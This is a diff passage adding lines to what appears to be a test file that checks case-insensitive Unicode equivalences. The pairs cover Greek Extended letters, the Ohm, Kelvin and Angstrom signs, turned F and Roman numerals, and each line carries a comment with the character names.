+test(0x1F25, 0x1F2D); // GREEK SMALL LETTER ETA WITH DASIA AND OXIA, GREEK CAPITAL LETTER ETA WITH DASIA AND OXIA
+test(0x1F26, 0x1F2E); // GREEK SMALL LETTER ETA WITH PSILI AND PERISPOMENI, GREEK CAPITAL LETTER ETA WITH PSILI AND PERISPOMENI
+test(0x1F27, 0x1F2F); // GREEK SMALL LETTER ETA WITH DASIA AND PERISPOMENI, GREEK CAPITAL LETTER ETA WITH DASIA AND PERISPOMENI
+test(0x1F28, 0x1F20); // GREEK CAPITAL LETTER ETA WITH PSILI, GREEK SMALL LETTER ETA WITH PSILI
+test(0x1F29, 0x1F21); // GREEK CAPITAL LETTER ETA WITH DASIA, GREEK SMALL LETTER ETA WITH DASIA
+test(0x1F2A, 0x1F22); // GREEK CAPITAL LETTER ETA WITH PSILI AND VARIA, GREEK SMALL LETTER ETA WITH PSILI AND VARIA
+test(0x1F2B, 0x1F23); // GREEK CAPITAL LETTER ETA WITH DASIA AND VARIA, GREEK SMALL LETTER ETA WITH DASIA AND VARIA
+test(0x1F2C, 0x1F24); // GREEK CAPITAL LETTER ETA WITH PSILI AND OXIA, GREEK SMALL LETTER ETA WITH PSILI AND OXIA
+test(0x1F2D, 0x1F25); // GREEK CAPITAL LETTER ETA WITH DASIA AND OXIA, GREEK SMALL LETTER ETA WITH DASIA AND OXIA
+test(0x1F2E, 0x1F26); // GREEK CAPITAL LETTER ETA WITH PSILI AND PERISPOMENI, GREEK SMALL LETTER ETA WITH PSILI AND PERISPOMENI
+test(0x1F2F, 0x1F27); // GREEK CAPITAL LETTER ETA WITH DASIA AND PERISPOMENI, GREEK SMALL LETTER ETA WITH DASIA AND PERISPOMENI
+test(0x1F30, 0x1F38); // GREEK SMALL LETTER IOTA WITH PSILI, GREEK CAPITAL LETTER IOTA WITH PSILI
+test(0x1F31, 0x1F39); // GREEK SMALL LETTER IOTA WITH DASIA, GREEK CAPITAL LETTER IOTA WITH DASIA
+test(0x1F32, 0x1F3A); // GREEK SMALL LETTER IOTA WITH PSILI AND VARIA, GREEK CAPITAL LETTER IOTA WITH PSILI AND VARIA
+test(0x1F33, 0x1F3B); // GREEK SMALL LETTER IOTA WITH DASIA AND VARIA, GREEK CAPITAL LETTER IOTA WITH DASIA AND VARIA
+test(0x1F34, 0x1F3C); // GREEK SMALL LETTER IOTA WITH PSILI AND OXIA, GREEK CAPITAL LETTER IOTA WITH PSILI AND OXIA
+test(0x1F35, 0x1F3D); // GREEK SMALL LETTER IOTA WITH DASIA AND OXIA, GREEK CAPITAL LETTER IOTA WITH DASIA AND OXIA
+test(0x1F36, 0x1F3E); // GREEK SMALL LETTER IOTA WITH PSILI AND PERISPOMENI, GREEK CAPITAL LETTER IOTA WITH PSILI AND PERISPOMENI
+test(0x1F37, 0x1F3F); // GREEK SMALL LETTER IOTA WITH DASIA AND PERISPOMENI, GREEK CAPITAL LETTER IOTA WITH DASIA AND PERISPOMENI
+test(0x1F38, 0x1F30); // GREEK CAPITAL LETTER IOTA WITH PSILI, GREEK SMALL LETTER IOTA WITH PSILI
+test(0x1F39, 0x1F31); // GREEK CAPITAL LETTER IOTA WITH DASIA, GREEK SMALL LETTER IOTA WITH DASIA
+test(0x1F3A, 0x1F32); // GREEK CAPITAL LETTER IOTA WITH PSILI AND VARIA, GREEK SMALL LETTER IOTA WITH PSILI AND VARIA
+test(0x1F3B, 0x1F33); // GREEK CAPITAL LETTER IOTA WITH DASIA AND VARIA, GREEK SMALL LETTER IOTA WITH DASIA AND VARIA
+test(0x1F3C, 0x1F34); // GREEK CAPITAL LETTER IOTA WITH PSILI AND OXIA, GREEK SMALL LETTER IOTA WITH PSILI AND OXIA
+test(0x1F3D, 0x1F35); // GREEK CAPITAL LETTER IOTA WITH DASIA AND OXIA, GREEK SMALL LETTER IOTA WITH DASIA AND OXIA
+test(0x1F3E, 0x1F36); // GREEK CAPITAL LETTER IOTA WITH PSILI AND PERISPOMENI, GREEK SMALL LETTER IOTA WITH PSILI AND PERISPOMENI
+test(0x1F3F, 0x1F37); // GREEK CAPITAL LETTER IOTA WITH DASIA AND PERISPOMENI, GREEK SMALL LETTER IOTA WITH DASIA AND PERISPOMENI
+test(0x1F40, 0x1F48); // GREEK SMALL LETTER OMICRON WITH PSILI, GREEK CAPITAL LETTER OMICRON WITH PSILI
+test(0x1F41, 0x1F49); // GREEK SMALL LETTER OMICRON WITH DASIA, GREEK CAPITAL LETTER OMICRON WITH DASIA
+test(0x1F42, 0x1F4A); // GREEK SMALL LETTER OMICRON WITH PSILI AND VARIA, GREEK CAPITAL LETTER OMICRON WITH PSILI AND VARIA
+test(0x1F43, 0x1F4B); // GREEK SMALL LETTER OMICRON WITH DASIA AND VARIA, GREEK CAPITAL LETTER OMICRON WITH DASIA AND VARIA
+test(0x1F44, 0x1F4C); // GREEK SMALL LETTER OMICRON WITH PSILI AND OXIA, GREEK CAPITAL LETTER OMICRON WITH PSILI AND OXIA
+test(0x1F45, 0x1F4D); // GREEK SMALL LETTER OMICRON WITH DASIA AND OXIA, GREEK CAPITAL LETTER OMICRON WITH DASIA AND OXIA
+test(0x1F48, 0x1F40); // GREEK CAPITAL LETTER OMICRON WITH PSILI, GREEK SMALL LETTER OMICRON WITH PSILI
+test(0x1F49, 0x1F41); // GREEK CAPITAL LETTER OMICRON WITH DASIA, GREEK SMALL LETTER OMICRON WITH DASIA
+test(0x1F4A, 0x1F42); // GREEK CAPITAL LETTER OMICRON WITH PSILI AND VARIA, GREEK SMALL LETTER OMICRON WITH PSILI AND VARIA
+test(0x1F4B, 0x1F43); // GREEK CAPITAL LETTER OMICRON WITH DASIA AND VARIA, GREEK SMALL LETTER OMICRON WITH DASIA AND VARIA
+test(0x1F4C, 0x1F44); // GREEK CAPITAL LETTER OMICRON WITH PSILI AND OXIA, GREEK SMALL LETTER OMICRON WITH PSILI AND OXIA
+test(0x1F4D, 0x1F45); // GREEK CAPITAL LETTER OMICRON WITH DASIA AND OXIA, GREEK SMALL LETTER OMICRON WITH DASIA AND OXIA
+test(0x1F51, 0x1F59); // GREEK SMALL LETTER UPSILON WITH DASIA, GREEK CAPITAL LETTER UPSILON WITH DASIA
+test(0x1F53, 0x1F5B); // GREEK SMALL LETTER UPSILON WITH DASIA AND VARIA, GREEK CAPITAL LETTER UPSILON WITH DASIA AND VARIA
+test(0x1F55, 0x1F5D); // GREEK SMALL LETTER UPSILON WITH DASIA AND OXIA, GREEK CAPITAL LETTER UPSILON WITH DASIA AND OXIA
+test(0x1F57, 0x1F5F); // GREEK SMALL LETTER UPSILON WITH DASIA AND PERISPOMENI, GREEK CAPITAL LETTER UPSILON WITH DASIA AND PERISPOMENI
+test(0x1F59, 0x1F51); // GREEK CAPITAL LETTER UPSILON WITH DASIA, GREEK SMALL LETTER UPSILON WITH DASIA
+test(0x1F5B, 0x1F53); // GREEK CAPITAL LETTER UPSILON WITH DASIA AND VARIA, GREEK SMALL LETTER UPSILON WITH DASIA AND VARIA
+test(0x1F5D, 0x1F55); // GREEK CAPITAL LETTER UPSILON WITH DASIA AND OXIA, GREEK SMALL LETTER UPSILON WITH DASIA AND OXIA
+test(0x1F5F, 0x1F57); // GREEK CAPITAL LETTER UPSILON WITH DASIA AND PERISPOMENI, GREEK SMALL LETTER UPSILON WITH DASIA AND PERISPOMENI
+test(0x1F60, 0x1F68); // GREEK SMALL LETTER OMEGA WITH PSILI, GREEK CAPITAL LETTER OMEGA WITH PSILI
+test(0x1F61, 0x1F69); // GREEK SMALL LETTER OMEGA WITH DASIA, GREEK CAPITAL LETTER OMEGA WITH DASIA
+test(0x1F62, 0x1F6A); // GREEK SMALL LETTER OMEGA WITH PSILI AND VARIA, GREEK CAPITAL LETTER OMEGA WITH PSILI AND VARIA
+test(0x1F63, 0x1F6B); // GREEK SMALL LETTER OMEGA WITH DASIA AND VARIA, GREEK CAPITAL LETTER OMEGA WITH DASIA AND VARIA
+test(0x1F64, 0x1F6C); // GREEK SMALL LETTER OMEGA WITH PSILI AND OXIA, GREEK CAPITAL LETTER OMEGA WITH PSILI AND OXIA
+test(0x1F65, 0x1F6D); // GREEK SMALL LETTER OMEGA WITH DASIA AND OXIA, GREEK CAPITAL LETTER OMEGA WITH DASIA AND OXIA
+test(0x1F66, 0x1F6E); // GREEK SMALL LETTER OMEGA WITH PSILI AND PERISPOMENI, GREEK CAPITAL LETTER OMEGA WITH PSILI AND PERISPOMENI
+test(0x1F67, 0x1F6F); // GREEK SMALL LETTER OMEGA WITH DASIA AND PERISPOMENI, GREEK CAPITAL LETTER OMEGA WITH DASIA AND PERISPOMENI
+test(0x1F68, 0x1F60); // GREEK CAPITAL LETTER OMEGA WITH PSILI, GREEK SMALL LETTER OMEGA WITH PSILI
+test(0x1F69, 0x1F61); // GREEK CAPITAL LETTER OMEGA WITH DASIA, GREEK SMALL LETTER OMEGA WITH DASIA
+test(0x1F6A, 0x1F62); // GREEK CAPITAL LETTER OMEGA WITH PSILI AND VARIA, GREEK SMALL LETTER OMEGA WITH PSILI AND VARIA
+test(0x1F6B, 0x1F63); // GREEK CAPITAL LETTER OMEGA WITH DASIA AND VARIA, GREEK SMALL LETTER OMEGA WITH DASIA AND VARIA
+test(0x1F6C, 0x1F64); // GREEK CAPITAL LETTER OMEGA WITH PSILI AND OXIA, GREEK SMALL LETTER OMEGA WITH PSILI AND OXIA
+test(0x1F6D, 0x1F65); // GREEK CAPITAL LETTER OMEGA WITH DASIA AND OXIA, GREEK SMALL LETTER OMEGA WITH DASIA AND OXIA
+test(0x1F6E, 0x1F66); // GREEK CAPITAL LETTER OMEGA WITH PSILI AND PERISPOMENI, GREEK SMALL LETTER OMEGA WITH PSILI AND PERISPOMENI
+test(0x1F6F, 0x1F67); // GREEK CAPITAL LETTER OMEGA WITH DASIA AND PERISPOMENI, GREEK SMALL LETTER OMEGA WITH DASIA AND PERISPOMENI
+test(0x1F70, 0x1FBA); // GREEK SMALL LETTER ALPHA WITH VARIA, GREEK CAPITAL LETTER ALPHA WITH VARIA
+test(0x1F71, 0x1FBB); // GREEK SMALL LETTER ALPHA WITH OXIA, GREEK CAPITAL LETTER ALPHA WITH OXIA
+test(0x1F72, 0x1FC8); // GREEK SMALL LETTER EPSILON WITH VARIA, GREEK CAPITAL LETTER EPSILON WITH VARIA
+test(0x1F73, 0x1FC9); // GREEK SMALL LETTER EPSILON WITH OXIA, GREEK CAPITAL LETTER EPSILON WITH OXIA
+test(0x1F74, 0x1FCA); // GREEK SMALL LETTER ETA WITH VARIA, GREEK CAPITAL LETTER ETA WITH VARIA
+test(0x1F75, 0x1FCB); // GREEK SMALL LETTER ETA WITH OXIA, GREEK CAPITAL LETTER ETA WITH OXIA
+test(0x1F76, 0x1FDA); // GREEK SMALL LETTER IOTA WITH VARIA, GREEK CAPITAL LETTER IOTA WITH VARIA
+test(0x1F77, 0x1FDB); // GREEK SMALL LETTER IOTA WITH OXIA, GREEK CAPITAL LETTER IOTA WITH OXIA
+test(0x1F78, 0x1FF8); // GREEK SMALL LETTER OMICRON WITH VARIA, GREEK CAPITAL LETTER OMICRON WITH VARIA
+test(0x1F79, 0x1FF9); // GREEK SMALL LETTER OMICRON WITH OXIA, GREEK CAPITAL LETTER OMICRON WITH OXIA
+test(0x1F7A, 0x1FEA); // GREEK SMALL LETTER UPSILON WITH VARIA, GREEK CAPITAL LETTER UPSILON WITH VARIA
+test(0x1F7B, 0x1FEB); // GREEK SMALL LETTER UPSILON WITH OXIA, GREEK CAPITAL LETTER UPSILON WITH OXIA
+test(0x1F7C, 0x1FFA); // GREEK SMALL LETTER OMEGA WITH VARIA, GREEK CAPITAL LETTER OMEGA WITH VARIA
+test(0x1F7D, 0x1FFB); // GREEK SMALL LETTER OMEGA WITH OXIA, GREEK CAPITAL LETTER OMEGA WITH OXIA
+test(0x1F80, 0x1F88); // GREEK SMALL LETTER ALPHA WITH PSILI AND YPOGEGRAMMENI, GREEK CAPITAL LETTER ALPHA WITH PSILI AND PROSGEGRAMMENI
+test(0x1F81, 0x1F89); // GREEK SMALL LETTER ALPHA WITH DASIA AND YPOGEGRAMMENI, GREEK CAPITAL LETTER ALPHA WITH DASIA AND PROSGEGRAMMENI
+test(0x1F82, 0x1F8A); // GREEK SMALL LETTER ALPHA WITH PSILI AND VARIA AND YPOGEGRAMMENI, GREEK CAPITAL LETTER ALPHA WITH PSILI AND VARIA AND PROSGEGRAMMENI
+test(0x1F83, 0x1F8B); // GREEK SMALL LETTER ALPHA WITH DASIA AND VARIA AND YPOGEGRAMMENI, GREEK CAPITAL LETTER ALPHA WITH DASIA AND VARIA AND PROSGEGRAMMENI
+test(0x1F84, 0x1F8C); // GREEK SMALL LETTER ALPHA WITH PSILI AND OXIA AND YPOGEGRAMMENI, GREEK CAPITAL LETTER ALPHA WITH PSILI AND OXIA AND PROSGEGRAMMENI
+test(0x1F85, 0x1F8D); // GREEK SMALL LETTER ALPHA WITH DASIA AND OXIA AND YPOGEGRAMMENI, GREEK CAPITAL LETTER ALPHA WITH DASIA AND OXIA AND PROSGEGRAMMENI
+test(0x1F86, 0x1F8E); // GREEK SMALL LETTER ALPHA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI, GREEK CAPITAL LETTER ALPHA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI
+test(0x1F87, 0x1F8F); // GREEK SMALL LETTER ALPHA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI, GREEK CAPITAL LETTER ALPHA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI
+test(0x1F88, 0x1F80); // GREEK CAPITAL LETTER ALPHA WITH PSILI AND PROSGEGRAMMENI, GREEK SMALL LETTER ALPHA WITH PSILI AND YPOGEGRAMMENI
+test(0x1F89, 0x1F81); // GREEK CAPITAL LETTER ALPHA WITH DASIA AND PROSGEGRAMMENI, GREEK SMALL LETTER ALPHA WITH DASIA AND YPOGEGRAMMENI
+test(0x1F8A, 0x1F82); // GREEK CAPITAL LETTER ALPHA WITH PSILI AND VARIA AND PROSGEGRAMMENI, GREEK SMALL LETTER ALPHA WITH PSILI AND VARIA AND YPOGEGRAMMENI
+test(0x1F8B, 0x1F83); // GREEK CAPITAL LETTER ALPHA WITH DASIA AND VARIA AND PROSGEGRAMMENI, GREEK SMALL LETTER ALPHA WITH DASIA AND VARIA AND YPOGEGRAMMENI
+test(0x1F8C, 0x1F84); // GREEK CAPITAL LETTER ALPHA WITH PSILI AND OXIA AND PROSGEGRAMMENI, GREEK SMALL LETTER ALPHA WITH PSILI AND OXIA AND YPOGEGRAMMENI
+test(0x1F8D, 0x1F85); // GREEK CAPITAL LETTER ALPHA WITH DASIA AND OXIA AND PROSGEGRAMMENI, GREEK SMALL LETTER ALPHA WITH DASIA AND OXIA AND YPOGEGRAMMENI
+test(0x1F8E, 0x1F86); // GREEK CAPITAL LETTER ALPHA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI, GREEK SMALL LETTER ALPHA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI
+test(0x1F8F, 0x1F87); // GREEK CAPITAL LETTER ALPHA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI, GREEK SMALL LETTER ALPHA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI
+test(0x1F90, 0x1F98); // GREEK SMALL LETTER ETA WITH PSILI AND YPOGEGRAMMENI, GREEK CAPITAL LETTER ETA WITH PSILI AND PROSGEGRAMMENI
+test(0x1F91, 0x1F99); // GREEK SMALL LETTER ETA WITH DASIA AND YPOGEGRAMMENI, GREEK CAPITAL LETTER ETA WITH DASIA AND PROSGEGRAMMENI
+test(0x1F92, 0x1F9A); // GREEK SMALL LETTER ETA WITH PSILI AND VARIA AND YPOGEGRAMMENI, GREEK CAPITAL LETTER ETA WITH PSILI AND VARIA AND PROSGEGRAMMENI
+test(0x1F93, 0x1F9B); // GREEK SMALL LETTER ETA WITH DASIA AND VARIA AND YPOGEGRAMMENI, GREEK CAPITAL LETTER ETA WITH DASIA AND VARIA AND PROSGEGRAMMENI
+test(0x1F94, 0x1F9C); // GREEK SMALL LETTER ETA WITH PSILI AND OXIA AND YPOGEGRAMMENI, GREEK CAPITAL LETTER ETA WITH PSILI AND OXIA AND PROSGEGRAMMENI
+test(0x1F95, 0x1F9D); // GREEK SMALL LETTER ETA WITH DASIA AND OXIA AND YPOGEGRAMMENI, GREEK CAPITAL LETTER ETA WITH DASIA AND OXIA AND PROSGEGRAMMENI
+test(0x1F96, 0x1F9E); // GREEK SMALL LETTER ETA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI, GREEK CAPITAL LETTER ETA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI
+test(0x1F97, 0x1F9F); // GREEK SMALL LETTER ETA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI, GREEK CAPITAL LETTER ETA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI
+test(0x1F98, 0x1F90); // GREEK CAPITAL LETTER ETA WITH PSILI AND PROSGEGRAMMENI, GREEK SMALL LETTER ETA WITH PSILI AND YPOGEGRAMMENI
+test(0x1F99, 0x1F91); // GREEK CAPITAL LETTER ETA WITH DASIA AND PROSGEGRAMMENI, GREEK SMALL LETTER ETA WITH DASIA AND YPOGEGRAMMENI
+test(0x1F9A, 0x1F92); // GREEK CAPITAL LETTER ETA WITH PSILI AND VARIA AND PROSGEGRAMMENI, GREEK SMALL LETTER ETA WITH PSILI AND VARIA AND YPOGEGRAMMENI
+test(0x1F9B, 0x1F93); // GREEK CAPITAL LETTER ETA WITH DASIA AND VARIA AND PROSGEGRAMMENI, GREEK SMALL LETTER ETA WITH DASIA AND VARIA AND YPOGEGRAMMENI
+test(0x1F9C, 0x1F94); // GREEK CAPITAL LETTER ETA WITH PSILI AND OXIA AND PROSGEGRAMMENI, GREEK SMALL LETTER ETA WITH PSILI AND OXIA AND YPOGEGRAMMENI
+test(0x1F9D, 0x1F95); // GREEK CAPITAL LETTER ETA WITH DASIA AND OXIA AND PROSGEGRAMMENI, GREEK SMALL LETTER ETA WITH DASIA AND OXIA AND YPOGEGRAMMENI
+test(0x1F9E, 0x1F96); // GREEK CAPITAL LETTER ETA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI, GREEK SMALL LETTER ETA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI
+test(0x1F9F, 0x1F97); // GREEK CAPITAL LETTER ETA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI, GREEK SMALL LETTER ETA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI
+test(0x1FA0, 0x1FA8); // GREEK SMALL LETTER OMEGA WITH PSILI AND YPOGEGRAMMENI, GREEK CAPITAL LETTER OMEGA WITH PSILI AND PROSGEGRAMMENI
+test(0x1FA1, 0x1FA9); // GREEK SMALL LETTER OMEGA WITH DASIA AND YPOGEGRAMMENI, GREEK CAPITAL LETTER OMEGA WITH DASIA AND PROSGEGRAMMENI
+test(0x1FA2, 0x1FAA); // GREEK SMALL LETTER OMEGA WITH PSILI AND VARIA AND YPOGEGRAMMENI, GREEK CAPITAL LETTER OMEGA WITH PSILI AND VARIA AND PROSGEGRAMMENI
+test(0x1FA3, 0x1FAB); // GREEK SMALL LETTER OMEGA WITH DASIA AND VARIA AND YPOGEGRAMMENI, GREEK CAPITAL LETTER OMEGA WITH DASIA AND VARIA AND PROSGEGRAMMENI
+test(0x1FA4, 0x1FAC); // GREEK SMALL LETTER OMEGA WITH PSILI AND OXIA AND YPOGEGRAMMENI, GREEK CAPITAL LETTER OMEGA WITH PSILI AND OXIA AND PROSGEGRAMMENI
+test(0x1FA5, 0x1FAD); // GREEK SMALL LETTER OMEGA WITH DASIA AND OXIA AND YPOGEGRAMMENI, GREEK CAPITAL LETTER OMEGA WITH DASIA AND OXIA AND PROSGEGRAMMENI
+test(0x1FA6, 0x1FAE); // GREEK SMALL LETTER OMEGA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI, GREEK CAPITAL LETTER OMEGA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI
+test(0x1FA7, 0x1FAF); // GREEK SMALL LETTER OMEGA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI, GREEK CAPITAL LETTER OMEGA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI
+test(0x1FA8, 0x1FA0); // GREEK CAPITAL LETTER OMEGA WITH PSILI AND PROSGEGRAMMENI, GREEK SMALL LETTER OMEGA WITH PSILI AND YPOGEGRAMMENI
+test(0x1FA9, 0x1FA1); // GREEK CAPITAL LETTER OMEGA WITH DASIA AND PROSGEGRAMMENI, GREEK SMALL LETTER OMEGA WITH DASIA AND YPOGEGRAMMENI
+test(0x1FAA, 0x1FA2); // GREEK CAPITAL LETTER OMEGA WITH PSILI AND VARIA AND PROSGEGRAMMENI, GREEK SMALL LETTER OMEGA WITH PSILI AND VARIA AND YPOGEGRAMMENI
+test(0x1FAB, 0x1FA3); // GREEK CAPITAL LETTER OMEGA WITH DASIA AND VARIA AND PROSGEGRAMMENI, GREEK SMALL LETTER OMEGA WITH DASIA AND VARIA AND YPOGEGRAMMENI
+test(0x1FAC, 0x1FA4); // GREEK CAPITAL LETTER OMEGA WITH PSILI AND OXIA AND PROSGEGRAMMENI, GREEK SMALL LETTER OMEGA WITH PSILI AND OXIA AND YPOGEGRAMMENI
+test(0x1FAD, 0x1FA5); // GREEK CAPITAL LETTER OMEGA WITH DASIA AND OXIA AND PROSGEGRAMMENI, GREEK SMALL LETTER OMEGA WITH DASIA AND OXIA AND YPOGEGRAMMENI
+test(0x1FAE, 0x1FA6); // GREEK CAPITAL LETTER OMEGA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI, GREEK SMALL LETTER OMEGA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI
+test(0x1FAF, 0x1FA7); // GREEK CAPITAL LETTER OMEGA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI, GREEK SMALL LETTER OMEGA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI
+test(0x1FB0, 0x1FB8); // GREEK SMALL LETTER ALPHA WITH VRACHY, GREEK CAPITAL LETTER ALPHA WITH VRACHY
+test(0x1FB1, 0x1FB9); // GREEK SMALL LETTER ALPHA WITH MACRON, GREEK CAPITAL LETTER ALPHA WITH MACRON
+test(0x1FB3, 0x1FBC); // GREEK SMALL LETTER ALPHA WITH YPOGEGRAMMENI, GREEK CAPITAL LETTER ALPHA WITH PROSGEGRAMMENI
+test(0x1FB8, 0x1FB0); // GREEK CAPITAL LETTER ALPHA WITH VRACHY, GREEK SMALL LETTER ALPHA WITH VRACHY
+test(0x1FB9, 0x1FB1); // GREEK CAPITAL LETTER ALPHA WITH MACRON, GREEK SMALL LETTER ALPHA WITH MACRON
+test(0x1FBA, 0x1F70); // GREEK CAPITAL LETTER ALPHA WITH VARIA, GREEK SMALL LETTER ALPHA WITH VARIA
+test(0x1FBB, 0x1F71); // GREEK CAPITAL LETTER ALPHA WITH OXIA, GREEK SMALL LETTER ALPHA WITH OXIA
+test(0x1FBC, 0x1FB3); // GREEK CAPITAL LETTER ALPHA WITH PROSGEGRAMMENI, GREEK SMALL LETTER ALPHA WITH YPOGEGRAMMENI
+test(0x1FBE, 0x03B9, 0x0345, 0x0399); // GREEK PROSGEGRAMMENI, GREEK SMALL LETTER IOTA, COMBINING GREEK YPOGEGRAMMENI (GREEK NON-SPACING IOTA BELOW), GREEK CAPITAL LETTER IOTA
+test(0x1FC3, 0x1FCC); // GREEK SMALL LETTER ETA WITH YPOGEGRAMMENI, GREEK CAPITAL LETTER ETA WITH PROSGEGRAMMENI
+test(0x1FC8, 0x1F72); // GREEK CAPITAL LETTER EPSILON WITH VARIA, GREEK SMALL LETTER EPSILON WITH VARIA
+test(0x1FC9, 0x1F73); // GREEK CAPITAL LETTER EPSILON WITH OXIA, GREEK SMALL LETTER EPSILON WITH OXIA
+test(0x1FCA, 0x1F74); // GREEK CAPITAL LETTER ETA WITH VARIA, GREEK SMALL LETTER ETA WITH VARIA
+test(0x1FCB, 0x1F75); // GREEK CAPITAL LETTER ETA WITH OXIA, GREEK SMALL LETTER ETA WITH OXIA
+test(0x1FCC, 0x1FC3); // GREEK CAPITAL LETTER ETA WITH PROSGEGRAMMENI, GREEK SMALL LETTER ETA WITH YPOGEGRAMMENI
+test(0x1FD0, 0x1FD8); // GREEK SMALL LETTER IOTA WITH VRACHY, GREEK CAPITAL LETTER IOTA WITH VRACHY
+test(0x1FD1, 0x1FD9); // GREEK SMALL LETTER IOTA WITH MACRON, GREEK CAPITAL LETTER IOTA WITH MACRON
+test(0x1FD8, 0x1FD0); // GREEK CAPITAL LETTER IOTA WITH VRACHY, GREEK SMALL LETTER IOTA WITH VRACHY
+test(0x1FD9, 0x1FD1); // GREEK CAPITAL LETTER IOTA WITH MACRON, GREEK SMALL LETTER IOTA WITH MACRON
+test(0x1FDA, 0x1F76); // GREEK CAPITAL LETTER IOTA WITH VARIA, GREEK SMALL LETTER IOTA WITH VARIA
+test(0x1FDB, 0x1F77); // GREEK CAPITAL LETTER IOTA WITH OXIA, GREEK SMALL LETTER IOTA WITH OXIA
+test(0x1FE0, 0x1FE8); // GREEK SMALL LETTER UPSILON WITH VRACHY, GREEK CAPITAL LETTER UPSILON WITH VRACHY
+test(0x1FE1, 0x1FE9); // GREEK SMALL LETTER UPSILON WITH MACRON, GREEK CAPITAL LETTER UPSILON WITH MACRON
+test(0x1FE5, 0x1FEC); // GREEK SMALL LETTER RHO WITH DASIA, GREEK CAPITAL LETTER RHO WITH DASIA
+test(0x1FE8, 0x1FE0); // GREEK CAPITAL LETTER UPSILON WITH VRACHY, GREEK SMALL LETTER UPSILON WITH VRACHY
+test(0x1FE9, 0x1FE1); // GREEK CAPITAL LETTER UPSILON WITH MACRON, GREEK SMALL LETTER UPSILON WITH MACRON
+test(0x1FEA, 0x1F7A); // GREEK CAPITAL LETTER UPSILON WITH VARIA, GREEK SMALL LETTER UPSILON WITH VARIA
+test(0x1FEB, 0x1F7B); // GREEK CAPITAL LETTER UPSILON WITH OXIA, GREEK SMALL LETTER UPSILON WITH OXIA
+test(0x1FEC, 0x1FE5); // GREEK CAPITAL LETTER RHO WITH DASIA, GREEK SMALL LETTER RHO WITH DASIA
+test(0x1FF3, 0x1FFC); // GREEK SMALL LETTER OMEGA WITH YPOGEGRAMMENI, GREEK CAPITAL LETTER OMEGA WITH PROSGEGRAMMENI
+test(0x1FF8, 0x1F78); // GREEK CAPITAL LETTER OMICRON WITH VARIA, GREEK SMALL LETTER OMICRON WITH VARIA
+test(0x1FF9, 0x1F79); // GREEK CAPITAL LETTER OMICRON WITH OXIA, GREEK SMALL LETTER OMICRON WITH OXIA
+test(0x1FFA, 0x1F7C); // GREEK CAPITAL LETTER OMEGA WITH VARIA, GREEK SMALL LETTER OMEGA WITH VARIA
+test(0x1FFB, 0x1F7D); // GREEK CAPITAL LETTER OMEGA WITH OXIA, GREEK SMALL LETTER OMEGA WITH OXIA
+test(0x1FFC, 0x1FF3); // GREEK CAPITAL LETTER OMEGA WITH PROSGEGRAMMENI, GREEK SMALL LETTER OMEGA WITH YPOGEGRAMMENI
+test(0x2126, 0x03C9, 0x03A9); // OHM SIGN (OHM), GREEK SMALL LETTER OMEGA, GREEK CAPITAL LETTER OMEGA
+test(0x212A, 0x006B, 0x004B); // KELVIN SIGN (DEGREES KELVIN), LATIN SMALL LETTER K, LATIN CAPITAL LETTER K
+test(0x212B, 0x00E5, 0x00C5); // ANGSTROM SIGN (ANGSTROM UNIT), LATIN SMALL LETTER A WITH RING ABOVE (LATIN SMALL LETTER A RING), LATIN CAPITAL LETTER A WITH RING ABOVE (LATIN CAPITAL LETTER A RING)
+test(0x2132, 0x214E); // TURNED CAPITAL F (TURNED F), TURNED SMALL F
+test(0x214E, 0x2132); // TURNED SMALL F, TURNED CAPITAL F (TURNED F)
+test(0x2160, 0x2170); // ROMAN NUMERAL ONE, SMALL ROMAN NUMERAL ONE
+test(0x2161, 0x2171); // ROMAN NUMERAL TWO, SMALL ROMAN NUMERAL TWO
+test(0x2162, 0x2172); // ROMAN NUMERAL THREE, SMALL ROMAN NUMERAL THREE
+test(0x2163, 0x2173); // ROMAN NUMERAL FOUR, SMALL ROMAN NUMERAL FOUR
+test(0x2164, 0x2174); // ROMAN NUMERAL FIVE, SMALL ROMAN NUMERAL FIVE
+test(0x2165, 0x2175); // ROMAN NUMERAL SIX, SMALL ROMAN NUMERAL SIX
+test(0x2166, 0x2176); // ROMAN NUMERAL SEVEN, SMALL ROMAN NUMERAL SEVEN
+test(0x2167, 0x2177); // ROMAN NUMERAL EIGHT, SMALL ROMAN NUMERAL EIGHT
+test(0x2168, 0x2178); // ROMAN NUMERAL NINE, SMALL ROMAN NUMERAL NINE
+test(0x2169, 0x2179); // ROMAN NUMERAL TEN, SMALL ROMAN NUMERAL TEN
+test(0x216A, 0x217A); // ROMAN NUMERAL ELEVEN, SMALL ROMAN NUMERAL ELEVEN
+test(0x216B, 0x217B); // ROMAN NUMERAL TWELVE, SMALL ROMAN NUMERAL TWELVE
+test(0x216C, 0x217C); // ROMAN NUMERAL FIFTY, SMALL ROMAN NUMERAL FIFTY
+test(0x216D, 0x217D); // ROMAN NUMERAL ONE HUNDRED, SMALL ROMAN NUMERAL ONE HUNDRED
+test(0x216E, 0x217E); // ROMAN NUMERAL FIVE HUNDRED, SMALL ROMAN NUMERAL FIVE HUNDRED
+test(0x216F, 0x217F); // ROMAN NUMERAL ONE THOUSAND, SMALL ROMAN NUMERAL ONE THOUSAND
